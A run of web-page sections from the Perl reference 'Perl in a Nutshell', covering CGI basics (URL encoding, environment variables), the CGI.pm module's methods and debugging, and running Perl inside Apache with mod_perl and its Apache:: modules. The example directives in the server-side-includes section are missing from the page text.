Content-type: text/html
Content-length: 2041

<HTML>
<HEAD><TITLE>Thanks!</TITLE></HEAD>
<BODY>
<H1>Thanks for signing my guestbook!</H1>
     ...
</BODY>
</HTML>
The header contains the communication protocol, the date and time of the response, and the server name and version. (200 OK is a status code generated by the HTTP protocol to communicate the status of a request, in this case successful.) Most importantly, the header also contains the content type and the number of characters (equivalent to the number of bytes) of the enclosed data.

The result is that after users click the "submit" button, they see the message contained in the HTML section of the response thanking them for signing the guestbook.

Previous: IV. CGI | Perl in a Nutshell | Next: 9.2 URL Encoding
IV. CGI | Book Index | 9.2 URL Encoding


[Chapter 9] 9.2 URL Encoding

Perl in a Nutshell

Perl in a NutshellSearch this book

9.2 URL Encoding

Before data supplied on a form can be sent to a CGI program, each form element's name (specified by the name attribute) is equated with the value entered by the user to create a key/value pair. For example, if the user entered "30" when asked for his or her age, the key/value pair would be "age=30". In the transferred data, key/value pairs are separated by the ampersand (&) character.

Since under the GET method the form information is sent as part of the URL, form information can't include any spaces or other special characters that are not allowed in URLs, and also can't include characters that have other meanings in URLs, like slashes (/). (For the sake of consistency, this constraint also exists when the POST method is being used.) Therefore, the web browser performs some special encoding on user-supplied information.

Encoding involves replacing spaces and other special characters in the query strings with their hexadecimal equivalents. (Thus, URL encoding is also sometimes called hexadecimal encoding.) Suppose a user fills out and submits a form containing his or her birthday in the syntax mm/dd/yy (e.g., 11/05/73). The forward slashes in the birthday are among the special characters that can't appear in the client's request for the CGI program. Thus, when the browser issues the request, it encodes the data. The following sample request shows the resulting encoding:

POST /cgi-bin/birthday.pl HTTP/1.0
Content-length: 21

birthday=11%2F05%2F73
The sequence %2F is actually the hexadecimal equivalent of the slash character.

CGI scripts have to provide some way to "decode" the form data that the client has encoded. The best way to do this is to use CGI.pm (covered in Chapter 10) and let someone else do the work for you.

Previous: 9.1 A Typical CGI Interaction | Perl in a Nutshell | Next: 9.3 Extra Path Information
9.1 A Typical CGI Interaction | Book Index | 9.3 Extra Path Information


[Chapter 9] 9.3 Extra Path Information

Perl in a Nutshell

Perl in a NutshellSearch this book

9.3 Extra Path Information

In addition to passing query strings, you can pass additional data, known as extra path information, as part of the URL. The server gauges where the CGI program name ends; anything following is deemed "extra" and is stored in the environment variable PATH_INFO. The following line calls a script with extra path information:

http://some.machine/cgi-bin/display.pl/cgi/cgi_doc.txt
In this example, we use a script with a .pl suffix to make it clear where the CGI program's path ends and the extra path information begins. Everything after display.pl is the extra path and is placed in the PATH_INFO environment variable. The PATH_TRANSLATED variable is also set, mapping the PATH_INFO to the DOCUMENT_ROOT directory (e.g., /usr/local/etc/httpd/public/cgi/cgi_doc.txt).

Previous: 9.2 URL Encoding | Perl in a Nutshell | Next: 9.4 CGI Environment Variables
9.2 URL Encoding | Book Index | 9.4 CGI Environment Variables


[Chapter 9] 9.4 CGI Environment Variables

Perl in a Nutshell

Perl in a NutshellSearch this book

9.4 CGI Environment Variables

Most of the information needed by CGI programs is made available via Unix environment variables. Programs can access this information as they would any environment variable (via the %ENV hash in Perl). The table below lists environment variables commonly available through CGI. However, since servers occasionally vary on the names of environment variables they assign, check with your own server documentation for more information.

Environment Variable | Content Returned
AUTH_TYPE | The authentication method used to validate a user. See REMOTE_IDENT and REMOTE_USER.
CONTENT_LENGTH | The length of the query data (in bytes or the number of characters) passed to the CGI program through standard input.
CONTENT_TYPE | The media type of the query data, such as text/html.
DOCUMENT_ROOT | The directory from which web documents are served.
GATEWAY_INTERFACE | The revision of the Common Gateway Interface that the server uses.
HTTP_ACCEPT | A list of the media types that the client can accept.
HTTP_COOKIE | A list of cookies defined for that URL.
HTTP_FROM | The email address of the user making the query (many browsers do not support this variable).
HTTP_REFERER | The URL of the document the client read before accessing the CGI program.
HTTP_USER_AGENT | The browser the client is using to issue the request.
PATH_INFO | Extra path information passed to a CGI program.
PATH_TRANSLATED | The translated version of the path given by the variable PATH_INFO.
QUERY_STRING | The query information passed to the program. It is appended to the URL following a question mark (?).
REMOTE_ADDR | The remote IP address from which the user is making the request.
REMOTE_HOST | The remote hostname from which the user is making the request.
REMOTE_IDENT | The user making the request.
REMOTE_USER | The authenticated name of the user making the query.
REQUEST_METHOD | The method with which the information request was issued (e.g., GET, POST, HEAD).
SCRIPT_NAME | The virtual path (e.g., /cgi-bin/program.pl) of the script being executed.
SERVER_NAME | The server's hostname or IP address.
SERVER_PORT | The port number of the host on which the server is running.
SERVER_PROTOCOL | The name and revision number of the server protocol.
SERVER_SOFTWARE | The name and version of the server software that is answering the client request.

Here's a simple Perl CGI script that uses environment variables to display various information about the server:

#!/usr/local/bin/perl

print << EOF
Content-type: text/html

<HTML>
<HEAD><TITLE>About this Server</TITLE></HEAD>
<BODY><H1>About this Server</H1>
<HR><PRE>
Server Name:        $ENV{'SERVER_NAME'}<BR>
Running on Port:    $ENV{'SERVER_PORT'}<BR>
Server Software:    $ENV{'SERVER_SOFTWARE'}<BR>
Server Protocol:    $ENV{'SERVER_PROTOCOL'}<BR>
CGI Revision:       $ENV{'GATEWAY_INTERFACE'}<BR>
<HR></PRE>
</BODY></HTML>
The preceding program outputs five environments as an HTML document. In Perl, you can access the environment variables with the %ENV hash. Here's typical output of the program:
<HTML>
<HEAD><TITLE>About this Server</TITLE></HEAD>
<BODY><H1>About this Server</H1>
<HR><PRE>
Server Name:          www.whatever.com
Running on Port:      80
Server Software:      NCSA/1.4.2
Server Protocol:      HTTP/1.0
CGI Revision:         CGI/1.1
<HR></PRE>
</BODY></HTML>

Previous: 9.3 Extra Path Information | Perl in a Nutshell | Next: 10. The CGI.pm Module
9.3 Extra Path Information | Book Index | 10. The CGI.pm Module


[Chapter 10] The CGI.pm Module

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 9.4 CGI Environment Variables Chapter 10 Next: 10.2 Importing Method Groups

10. The CGI.pm Module

Contents:
HTML Tag Generation
Importing Method Groups
Maintaining State
Named Parameters
Using JavaScript Features
Debugging
CGI.pm Reference

CGI.pm is a Perl module for creating and parsing CGI forms. It is distributed with core Perl as of Perl 5.004, but you can also retrieve CGI.pm from CPAN, and you can get the very latest version at any time from ftp://ftp-hygenome.wi.mit.edu/pub/software/WWW/.

CGI is an object-oriented module. Don't let the object-oriented nature scare you off, though; CGI.pm is very easy to use, as evidenced by its overwhelming popularity among all levels of Perl programmers. To give you an idea of how easy it is to use CGI.pm, let's take a scenario in which a user fills out and submits a form containing her birthday. Without CGI.pm, the script would have to translate the URL-encoded input by hand (probably using a series of regular expressions) and assign it to a variable. For example, you might try something like this:

#!/usr/bin/perl
# cgi script without CGI.pm

$size_of_form_info = $ENV{'CONTENT_LENGTH'};
read ($STDIN, $form_info, $size_of_form_info);

# Split up each pair of key=value pairs
foreach $pair (split (/&/, $form_info)) {

   # For each pair, split into $key and $value variables
   ($key, $value) = split (/=/, $pair);

   # Get rid of the pesky %xx encodings
   $key =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
   $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;

   # Use $key as index for $parameters hash, $value as value
   $parameters{$key} = $value;
}

# Print out the obligatory content-type line
print "Content-type: text/plain\n\n";

# Tell the user what they said
print "Your birthday is on " . $parameters{birthday} . ".\n";
Regardless of whether this code actually works, you must admit it's ugly. With CGI.pm, the script could be written:
#!/usr/bin/perl -w
# cgi script with CGI.pm

use CGI;

$query = CGI::new();
$bday = $query->param("birthday");
print $query->header();
print $query->p("Your birthday is $bday.");
Even for this tiny program, you can see that CGI.pm can alleviate many of the headaches associated with CGI programming.

As with any Perl module, the first thing you do is call the module with use. You then call the constructor (new()), creating a new CGI object called $query. Next, get the value of the birthday parameter from the CGI program using the param method. Note that CGI.pm does all the work of determining whether the CGI program is being called by the GET or POST methods, and it also does all the URL decoding for you. To generate output, use the header method to return the content type header, and the p method to generate a paragraph marker <P> tag.

However, this is only the tip of the iceberg as far as what CGI.pm can do for you. There are three basic categories of CGI.pm methods: CGI handling, creating forms, and retrieving environment variables. (A fourth category is creating HTML tags, but we don't cover those in detail.) Table 10.1 lists most of these methods. They are also covered in more detail later in this chapter.

Table 10.1: CGI.pm Methods
CGI Handling |
keywords | Gets keywords from an <ISINDEX> search.
param | Gets (or sets) the value of parameters.
append | Appends to a parameter.
import_names | Imports variables into a namespace.
delete | Deletes a parameter.
delete_all | Deletes all parameters.
save | Saves all parameters to a file.
self_url | Creates self-referencing URL.
url | Gets URL of current script without query information.
header | Creates HTTP header.
redirect | Creates redirection header.
cookie | Gets (or sets) a cookie.
nph | Declares this to be a NPH script.
dump | Prints all name/value pairs.
Form Generation |
start_html | Generates an <HTML> tag.
end_html | Generates an </HTML> tag.
autoEscape | Sets whether to use automatic escaping.
isindex | Generates an <ISINDEX> tag.
startform | Generates a <FORM> tag.
start_multipart_form | Generates a <FORM> tag for multipart/ form-data encoding.
textfield | Generates an <INPUT TYPE=TEXT> tag.
textarea | Generates an <TEXTAREA> tag.
password_field | Generates an <INPUT TYPE=PASSWORD> tag.
filefield | Generates an <INPUT TYPE=FILE> tag.
popup_menu | Generates a popup menu via <SELECT SIZE=1> and <OPTION> tags.
scrolling_list | Generates a scrolling list via <SELECT> and <OPTION> tags.
checkbox_group | Generates a group of checkboxes via multiple <INPUT TYPE=CHECKBOX> tags.
checkbox | Generates a single checkbox via a <INPUT TYPE=CHECKBOX> tag.
radio_group | Generates a group of radio buttons via <INPUT TYPE=RADIO> tags.
submit | Generates a <SUBMIT> tag.
reset | Generates a <RESET> tag.
defaults | Generates a <DEFAULTS> tag.
hidden | Generates an <INPUT TYPE=HIDDEN> tag.
image_button | Generates a clickable image button via a <SELECT> tag.
button | Generates a JavaScript button.
Handling Environment Variables |
accept | Gets accept types from ACCEPT header.
user_agent | Gets value of USER_AGENT header.
path_info | Gets value of EXTRA_PATH_INFO header.
path_translated | Gets value of PATH_TRANSLATED header.
remote_host | Gets value of REMOTE_HOST header.
raw_cookie | Gets value of HTTP_COOKIE header.
script_name | Gets value of SCRIPT_NAME header.
referer | Gets value of REFERER header.
auth_type | Gets value of AUTH_TYPE header.
remote_user | Gets value of REMOTE_USER header.
user_name | Gets user name (not via headers).
request_method | Gets value of REQUEST_METHOD header.

Each of these methods is covered later in this chapter, in alphabetical order.

10.1 HTML Tag Generation

In addition to the form-generation methods, CGI.pm also includes a group of methods for creating HTML tags. The names of the HTML tag methods generally follow the HTML tag name (e.g., p for <P>) and take named parameters that are assumed to be valid attributes for the tag (e.g., img(src=>'camel.gif') becomes <IMG SRC="camel.gif">). We do not list all tags in this book; see the CGI.pm manpage for more information, or the book Official Guide to Programming with CGI.pm by Lincoln Stein (John Wiley & Sons, 1998).

Previous: 9.4 CGI Environment Variables | Perl in a Nutshell | Next: 10.2 Importing Method Groups
9.4 CGI Environment Variables | Book Index | 10.2 Importing Method Groups


[Chapter 10] 10.2 Importing Method Groups

Perl in a Nutshell

Perl in a NutshellSearch this book

10.2 Importing Method Groups

The syntax for calling CGI methods can be unwieldy. However, you can import individual methods and then call the methods without explicit object calls. The "birthday" example shown earlier could be written even more simply as follows:

#!/usr/bin/perl

use CGI param,header,p;

$bday = param("birthday");
print header();
print p("Your birthday is $bday.");
By importing the param, header, and p methods into your namespace, you no longer have to use the new constructor (since it is called automatically now), and you don't need to specify a CGI object with every method call.

CGI.pm also lets you import groups of methods, which can make your programs much simpler and more elegant. For example, to import all form-creation methods and all CGI-handling methods:

use CGI qw/:form :cgi/;
The method groups supported by CGI.pm are:

:cgi

All CGI-handling methods

:cgi-lib

All methods supplied for backwards compatibility with cgi-lib

:form

All form-generation methods

:html

All HTML methods

:html2

All HTML 2.0 methods

:html3

All HTML 3.0 methods

:netscape

All methods generating Netscape extensions

:ssl

All SSL methods

:standard

All HTML 2.0, form-generation, and CGI methods

:all

All available methods

You can also define new methods for HTML tag generation by simply listing them on the import line and then letting CGI.pm make some educated guesses. For example:

use CGI shortcuts,smell;

print smell {type=>'garlic',
           intensity=>'strong'}, "Scratch here!";
This will cause the following tag to be generated:
<SMELL TYPE="garlic" INTENSITY="strong">Scratch here!</SMELL>

Previous: 10.1 HTML Tag Generation | Perl in a Nutshell | Next: 10.3 Maintaining State
10.1 HTML Tag Generation | Book Index | 10.3 Maintaining State


[Chapter 10] 10.3 Maintaining State

Perl in a Nutshell

Perl in a NutshellSearch this book

10.3 Maintaining State

One of the first complications for any nontrivial CGI script is how to "maintain state." Since HTTP is a stateless protocol, there's no built-in mechanism for keeping track of requests from the server end. A CGI transaction involving multiple forms, therefore, needs to find a way to remember information supplied on previous forms. One way to deal with this issue is to use cookies, which allow the CGI program to save information on the browser's end; but not all browsers support cookies, and some users are uncomfortable with the perceived privacy infringement associated with cookies.

CGI.pm simplifies maintaining state without cookies. When a CGI.pm script is called multiple times, the input fields are given default values from the previous invocation.

Previous: 10.2 Importing Method Groups | Perl in a Nutshell | Next: 10.4 Named Parameters
10.2 Importing Method Groups | Book Index | 10.4 Named Parameters


[Chapter 10] 10.4 Named Parameters

Perl in a Nutshell

Perl in a NutshellSearch this book

10.4 Named Parameters

For most CGI.pm methods, there are two syntax styles. In the "standard" style, the position of the parameters determines how they will be interpreted - for example, parameter 1 is the name that the script should assign, parameter 2 is the initial value, etc. For example:

print $query=textfield('username', 'anonymous');
In the "named parameters" style, the parameters can be assigned like a hash, and the order doesn't matter. For example:
print $query->textfield(-name=>'name',
                        -default=>'value');
If you want to use named parameters, just call the use_named_parameters method early in the script.

Which syntax style should you use? It depends on how lazy you are and much control you need. Generally, "standard" syntax is faster to type. However, it is also harder to read, and there are many features that are simply not available using standard syntax (such as JavaScript support). In general, we recommend using the "named parameters" syntax for all but the most trivial scripts.

Previous: 10.3 Maintaining State | Perl in a Nutshell | Next: 10.5 Using JavaScript Features
10.3 Maintaining State | Book Index | 10.5 Using JavaScript Features


[Chapter 10] 10.5 Using JavaScript Features

Perl in a Nutshell

Perl in a NutshellSearch this book

10.5 Using JavaScript Features

CGI.pm supports JavaScript scripting by allowing you to embed a JavaScript script into the HTML form within <SCRIPT> tags, and then calling the script using the -script parameter to the start_html method. You can then call the JavaScript functions as appropriate to the form elements.

Previous: 10.4 Named Parameters | Perl in a Nutshell | Next: 10.6 Debugging
10.4 Named Parameters | Book Index | 10.6 Debugging


[Chapter 10] 10.6 Debugging

Perl in a Nutshell

Perl in a NutshellSearch this book

10.6 Debugging

A complication of writing CGI scripts is that when debugging the script, you have to wrestle with the web server environment. CGI.pm provides support for debugging the script on the command line.

If you run the script on the command line without arguments, you will be placed into an "offline" mode, in which name-value pairs can be entered one-by-one. When you press CTRL-D, the script runs. For example:

% birthday
(offline mode: enter name=value pairs on standard input)
birthday=6/4/65
^D
Content-type: text/html

<P>Your birthday is 6/4/65.</P>
You can also supply the name/value parameters directly on the command line. For example:
% test birthday=6/4/65
Content-type: text/html

<P>Your birthday is 6/4/65.</P>
Multiple values can be separated by spaces (as separate arguments on the command line) or by ampersands (as in URL-encoded syntax). In fact, you can use URL-encoded syntax on the command line. This makes it easy to supply raw CGI input to the script for testing purposes. Just remember to protect the ampersand from the shell.
% test 'birthday=6%2f4%2f65&name=Fred%20Flintstone'
Content-type: text/html

<P>Fred Flintstone, your birthday is 6/4/65.</P>

Previous: 10.5 Using JavaScript Features | Perl in a Nutshell | Next: 10.7 CGI.pm Reference
10.5 Using JavaScript Features | Book Index | 10.7 CGI.pm Reference


[Chapter 10] 10.7 CGI.pm Reference

Perl in a Nutshell

Perl in a NutshellSearch this book

10.7 CGI.pm Reference

The following methods are supported by CGI.pm:

  • accept
  • append
  • auth_type
  • autoEscape
  • button
  • checkbox
  • checkbox_group
  • cookie
  • defaults
  • delete
  • delete_all
  • dump
  • end_html
  • filefield
  • header
  • hidden
  • image_button
  • import_names
  • isindex
  • keywords
  • nph
  • param
  • password_field
  • path_info
  • path_translated
  • popup_menu
  • radio_group
  • raw_cookie
  • ReadParse
  • redirect
  • referer
  • remote_host
  • remote_user
  • request_method
  • reset
  • save
  • script_name
  • scrolling_list
  • self_url
  • start_html
  • startform
  • start_multipart_form
  • submit
  • textarea
  • textfield
  • url
  • use_named_parameters
  • user_agent
  • user_name

Previous: 10.6 Debugging | Perl in a Nutshell | Next: 11. Web Server Programming with mod_perl
10.6 Debugging | Book Index | 11. Web Server Programming with mod_perl


[Chapter 11] Web Server Programming with mod_perl

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 10.7 CGI.pm Reference Chapter 11 Next: 11.2 Installing mod_perl

11. Web Server Programming with mod_perl

Contents:
Design of mod_perl
Installing mod_perl
mod_perl Handlers
Running CGI Scripts with mod_perl
Server-Side Includes with mod_perl
<Perl> Sections
Apache:: Modules

A common criticism of CGI is that it requires forking extra processes each time a script is executed. If you only have a few hits an hour, or even a few hits a minute, this isn't a big deal. But for a high-traffic site, lots of CGI scripts repeatedly spawning can have an unfortunate effect on the machine running the web server. The CGI scripts will be slow, the web server will be slow, and other processes on the machine will come to a crawl.

The solution to this problem is mod_perl. mod_perl, written by Doug MacEachern and distributed under CPAN, embeds the Perl interpreter directly into the web server. The effect is that your CGI scripts are precompiled by the server and executed without forking, thus running much more quickly and efficiently. Furthermore, CGI efficiency is only one facet of mod_perl. Since mod_perl is a complete Apache/Perl hybrid, other benefits to mod_perl include:

  • Writing server-side includes in Perl

  • Embedding Perl code into the Apache configuration files

  • Writing complete Apache modules in Perl

11.1 Design of mod_perl

mod_perl is not a Perl module. It is a module of the Apache server, which is currently the most commonly used web server. With mod_perl, you can use Apache configuration directives not only to process CGI scripts much more efficiently, but also to handle all stages in processing a server request.

mod_perl embeds a copy of the Perl interpreter into the Apache httpd executable, providing complete access to Perl functionality within Apache. This enables a set of mod_perl-specific configuration directives, all of which start with the string Perl*. Most of these directives are used to specify handlers for various stages of the request, but not all. In addition, mod_perl lets you embed Perl code into your Apache configuration files (within <Perl> ... </Perl> directives) and allows you to use Perl for server-side includes.

It might occur to you that sticking a large program into another large program makes a very, very large program. mod_perl certainly makes httpd significantly bigger. If you have limited memory capacity, mod_perl may not be for you. There are several ways to minimize the size of Apache with mod_perl (which you can find in the mod_perl manpage or the FAQs), ranging from fiddling with Apache configuration directives to building Perl with reduced memory consumption.

Previous: 10.7 CGI.pm Reference | Perl in a Nutshell | Next: 11.2 Installing mod_perl
10.7 CGI.pm Reference | Book Index | 11.2 Installing mod_perl


[Chapter 11] 11.2 Installing mod_perl

Perl in a Nutshell

Perl in a NutshellSearch this book

11.2 Installing mod_perl

If you already have Apache installed on your machine, you will have to rebuild it with mod_perl. You can get the source for both Apache and mod_perl from http://www.apache.org/. (You can also get mod_perl from CPAN.) If there isn't already an Apache httpd in the Apache source tree, you must build one. Then build mod_perl as directed in the INSTALL file for the mod_perl distribution.

As we've mentioned, mod_perl allows you to hook in Perl modules as handlers for various stages of a request. By default, however, the only callback hook that is enabled is PerlHandler, which is the one used to process content (i.e., a CGI document). If you want to use other hooks, for example to extend Apache's logging facilities via the PerlLogHandler directive, you'll need to specify it at build time as directed in the INSTALL file. For example:

% perl Makefile.PL PERL_LOG=1
The mod_perl Makefile replaces the httpd in the Apache source tree with a Perl-enabled one. When you install mod_perl, it not only installs the new httpd into your system area, it also installs several Perl modules including Apache::Registry.

At the time of this writing, both Apache and mod_perl are being ported to Win32. However, mod_perl will only run with the standard Perl Win32 port (not ActiveState's). The INSTALL.win32 file contains the instructions for installing mod_perl under Win32.

Previous: 11.1 Design of mod_perl | Perl in a Nutshell | Next: 11.3 mod_perl Handlers
11.1 Design of mod_perl | Book Index | 11.3 mod_perl Handlers


[Chapter 11] 11.3 mod_perl Handlers

Perl in a Nutshell

Perl in a NutshellSearch this book

11.3 mod_perl Handlers

To understand mod_perl, you should understand how the Apache server works. When Apache receives a request, it processes it in several stages. First, it translates the URL to the associated resource (i.e., filename, CGI script, etc.) on the server machine. Then it checks to see if the user is authorized to access that resource, perhaps by requesting and checking an ID and password. Once the user has passed inspection, the server figures out what kind of data it's sending back (e.g., it decides a file ending in .html is probably a text/html file), creates some headers, and sends those headers back to the client with the resource itself. When all is said and done, the server makes a log entry.

At each stage of this process, Apache looks for routines to "handle" the request. Apache supplies its own handlers; for example, one of the default handlers is cgi-script, often seen applied to /cgi-bin:

<Location /cgi-bin>
  ...
SetHandler cgi-script
  ...
</Location\>
mod_perl allows you to write your own handlers in Perl, by embedding the Perl runtime library directly into the Apache httpd server executable. To use mod_perl for CGI (which is all that most people want to do with it), you assign the SetHandler directive to perl-script, and then assign the mod_perl-specific PerlHandler directive to a special Perl module called Apache::Registry.
SetHandler perl-script
PerlHandler Apache::Registry
PerlHandler is the mod_perl handler for the content retrieval stage of the transaction.

To use other handlers, you don't need to reassign SetHandler. For example, to identify a handler for the logging stage of the request:

<Location /snoop/>
PerlLogHandler Apache::DumpHeaders
</Location\>
In order for this to work, mod_perl must have been built with the logging hooks enabled (as described in the previous section), and the Apache::DumpHeaders module must have been installed. mod_perl looks in Apache::DumpHeaders for a routine called handler() and executes it as the logging handler for that resource.

The following is a list of each of the handler directives that can be enabled by mod_perl, and the stages that each is used for. Only PerlHandler is enabled by default.

Handler | Purpose
PerlAccessHandler | Access stage
PerlAuthenHandler | Authentication stage
PerlAuthzHandler | Authorization stage
PerlChildInitHandler | Child initialization stage
PerlChildExitHandler | Child termination stage
PerlCleanupHandler | Cleanup stage
PerlFixupHandler | Fixup stage
PerlHandler | Response stage
PerlHeaderParserHandler | Header-parsing stage
PerlInitHandler | Initialization
PerlLogHandler | Logging stage
PerlPostReadRequestHandler | Post-request stage
PerlTransHandler | Translation stage
PerlTypeHandler | Type-handling stage

You can write your own handlers for each of these stages. But there are also dozens of modules that you can download from CPAN, some of which are listed at the end of this chapter.

Previous: 11.2 Installing mod_perl | Perl in a Nutshell | Next: 11.4 Running CGI Scripts with mod_perl
11.2 Installing mod_perl | Book Index | 11.4 Running CGI Scripts with mod_perl


[Chapter 11] 11.4 Running CGI Scripts with mod_perl

Perl in a Nutshell

Perl in a NutshellSearch this book

11.4 Running CGI Scripts with mod_perl

What most people want to do with mod_perl is improve CGI performance. The mod_perl installation assumes this request by enabling the PerlHandler callback hook by default, and by installing the Apache::Registry module. PerlHandler is the handler used for the content retrieval stage of the server transaction. Apache::Registry is the Perl module that emulates the CGI environment so you can use "standard" Perl CGI scripts with mod_perl without having to rewrite them (much). This is by far the cheapest way to get improved CGI performance.

With Apache::Registry, each individual CGI program is compiled and cached the first time it is called (or whenever it is changed), and then remains available for all subsequent instances of that CGI script. This process avoids the costs of startup time.

Whereas most CGI scripts are kept in /cgi-bin/, scripts that use Apache::Registry are placed in a separate directory, e.g., /perl-bin/. The access.conf Apache configuration file needs to point to this directory by setting an alias and defining a handler for this new location.

Alias /perl-bin/ /usr/local/apache/perl-bin/

<Location /perl-bin>
SetHandler perl-script
PerlHandler Apache::Registry
PerlSendHeader On
Options ExecCGI
</Location>
Instead of using the cgi-script handler, we use the perl-script handler to give control to mod_perl. Next, the PerlHandler directive tells mod_perl that the Apache::Registry module should be used for serving all files in that directory. PerlSendHeader is another mod_perl-specific directive; in this case, it tells mod_perl to send response lines and common headers - by default, none are sent. (For NPH scripts, you'll want to turn this feature off again.) Options ExecCGI is a standard Apache header needed to tell Apache to treat the script as a CGI script.

If you want to load Perl modules in addition to Apache::Registry, you can use the PerlModule directive:

PerlModule CGI
If you include this line, you shouldn't need to explicitly use CGI in each Perl CGI script anymore, as CGI.pm will be loaded directly from the Apache server. Up to ten modules can be listed with the PerlModule directive.

CGI scripts in the new directory should work now. However, if you have problems, the mod_perl manpage offers some words of wisdom:

  • Always use strict.

    "Standard" CGI scripts start with a clean slate every time. When switching to mod_perl, CGI programmers are often surprised to learn how often they take advantage of this fact. use strict tells you when your variables haven't been properly declared and might inherit values from previous invocations of the script.

  • Don't call exit().

    Calling exit() at the end of every program is a habit of many programmers. While often totally unnecessary, it usually doesn't hurt...except with mod_perl. If you're using mod_perl without Apache::Registry, exit() kills the server process. If exit() is the last function call, you can just remove it. If the structure of your program is such that it is called from the middle of the script, you can just put a label at the end of the script and use goto(). There's also an Apache->exit() call you can use if you're really attached to exit()s.

    If you're using Apache::Registry, you don't have to worry about this problem. Apache::Registry is smart enough to override all exit() calls with Apache->exit().

In addition, it is recommended that you should use a recent version of Perl and of CGI.pm. You should scan the mod_perl documentation for the very latest compatibility news.

Previous: 11.3 mod_perl Handlers | Perl in a Nutshell | Next: 11.5 Server-Side Includes with mod_perl
11.3 mod_perl Handlers | Book Index | 11.5 Server-Side Includes with mod_perl


[Chapter 11] 11.5 Server-Side Includes with mod_perl

Perl in a Nutshell

Perl in a NutshellSearch this book

11.5 Server-Side Includes with mod_perl

Server-side includes (SSI) are tags embedded directly into an HTML file that perform special functions. They are most commonly used for running CGI scripts and displaying the result; most web page counters are performed using SSI.

If you use mod_perl with mod_include (another Apache server module), you can embed Perl subroutines into SSI directives. For example:

The Apache::Include module lets you include entire Apache::Registry
scripts:

You could have used standard SSI to include a CGI script
for the same purpose, but this way is faster.  To use mod_include
with mod_perl, you need to configure mod_perl to do
so at compile time.
Previous: 11.4 Running CGI Scripts with mod_perl | Perl in a Nutshell | Next: 11.6 <Perl> Sections
11.4 Running CGI Scripts with mod_perl | Book Index | 11.6 <Perl> Sections


[Chapter 11] 11.6 <Perl> Sections

Perl in a Nutshell

Perl in a NutshellSearch this book

11.6 <Perl> Sections

With mod_perl, you can use Perl in Apache configuration files. What this means is that you can make your Apache configuration much more flexible by using conditionals.

Any Perl code in Apache configuration files should be placed between <Perl> and </Perl> directives. This code can define variables and lists that are used by mod_perl to assign the associated Apache configuration directives; for example, assigning the $ServerAdmin variable will redefine the ServerAdmin Apache configuration directive.

Suppose you share the same Apache configuration files across multiple servers, and you only want to allow personal directories on one of them. You can use Perl directives like this:

<Perl>
if (`hostname` =~ /public/) {
    $UserDir = "public.html";
} else {
    $UserDir = "DISABLED";
}
1;
</Perl>
Directive blocks (such as <Location>...</Location\>) can be represented as a hash. For example:
<Perl>
$Location{"/design_dept/"} = {
    DefaultType   => 'image/gif',
    FancyIndexing => 'On'
}
</Perl>

Previous: 11.5 Server-Side Includes with mod_perl | Perl in a Nutshell | Next: 11.7 Apache:: Modules
11.5 Server-Side Includes with mod_perl | Book Index | 11.7 Apache:: Modules


[Chapter 11] 11.7 Apache:: Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

11.7 Apache:: Modules

Apache::Registry is the most commonly used mod_perl module. But there are many more, all available on CPAN. The following table lists the Apache::* modules and which handler they're designed to be used with, but you should also check the apache-modlist.html file on CPAN for the very latest listing.

PerlHandler
Apache::CallHandler | Maps filenames to subroutine calls
Apache::Dir | Controls directory indexing
Apache::Embperl | Embeds Perl code in HTML files
Apache::ePerl | Embedded Perl (ePerl) emulation
Apache::FTP | Emulates an FTP proxy
Apache::GzipChain | Compresses output from another handler
Apache::JavaScript | Generates JavaScript code
Apache::OutputChain | Chains multiple handlers via "filter" modules
Apache::PassFile | Sends files via OutputChain
Apache::Registry | Runs unaltered CGI scripts
Apache::RobotRules | Enforces robots.txt rules
Apache::Sandwich | Adds per-directory headers and footers
Apache::VhostSandwich | Adds headers and footers for virtual hosts
Apache::SSI | Implements server-side includes in Perl
Apache::Stage | Manages a document staging directory
Apache::WDB | Queries databases via DBI
PerlHeaderParserHandler
Apache::AgentDeny | Denies abusive clients
PerlAuthenHandler
Apache::Authen | Authenticates users
Apache::AuthCookie | Authenticates and authorizes users via cookies
Apache::AuthenDBI | Authenticates via Perl's DBI
Apache::AuthExpire | Expires authentication credentials
Apache::AuthenGSS | Authenticates users with Generic Security Service
Apache::AuthenLDAP | Authenticates users with LDAP
Apache::AuthNIS | Authenticates users with NIS
Apache::BasicCookieAuth | Accepts cookie or basic authentication credentials
Apache::DBILogin | Authenticates using a backend database
Apache::DCELogin | Authenticates within a DCE login context
Apache::AuthAny | Authenticates with any username/password
PerlAuthzHandler
Apache::AuthCookie | Authenticates and authorizes via cookies
Apache::AuthzAge | Authorizes based on age
Apache::AuthzDCE | Authorizes based on DFS/DCE ACL
Apache::AuthzDBI | Authorizes groups via DBI
Apache::AuthNIS | Authenticates and authorizes via NIS
Apache::RoleAuthz | Role-based authorization
PerlAccessHandler
Apache::AccessLimitNum | Limits user access by the number of requests
Apache::DayLimit | Limits access based on the day of the week
Apache::RobotLimit | Limits access of robots
PerlTypeHandler
Apache::AcceptLanguage | Sends file types based on user's language preference
PerlTransHandler
Apache::DynaRPC | Translates URIs into RPCs
Apache::Junction | Mounts remote web server namespace
Apache::LowerCaseGETs | Translates to lowercase URIs as needed
Apache::MsqlProxy | Translates URIs into mSQL queries
Apache::ProxyPassThru | Skeleton for vanilla proxy
Apache::ProxyCache | Caching proxy
PerlFixupHandler
Apache::HttpEquiv | Converts HTML HTTP-EQUIV tags to HTTP headers
Apache::Timeit | Benchmarks Perl handlers
PerlLogHandler
Apache::DumpHeaders | Displays HTTP transaction headers
Apache::Traffic | Logs the number of bytes transferred on a per-user basis
Apache::WatchDog | Looks for problematic URIs
PerlChildInitHandler
Apache::Resource | Limits resources used by httpd children
Server Configuration
Apache::ConfigLDAP | Configures server via LDAP and <Perl> sections
Apache::ConfigDBI | Configures server via DBI and <Perl> sections
Apache::ModuleConfig | Interfaces to configuration API
Apache::PerlSections | Utilities for <Perl> sections
Apache::httpd_conf | Methods to configure and run an httpd
Apache::src | Methods for finding and reading bits of source
Database
Apache::DBI | Manages persistent DBI connections.
Apache::Sybase | Manages persistent DBlib connections.
Apache::Mysql | Manages persistent mysql connections.
Interfaces and Integration with Various Apache C Modules
Apache::Constants | Constants defined in httpd.h
Apache::Include | Enables use of Apache::Registry scripts within SSI with mod_include
Apache::Global | Gives access to server global variables
Apache::LogError | Gives an interface to aplog_error
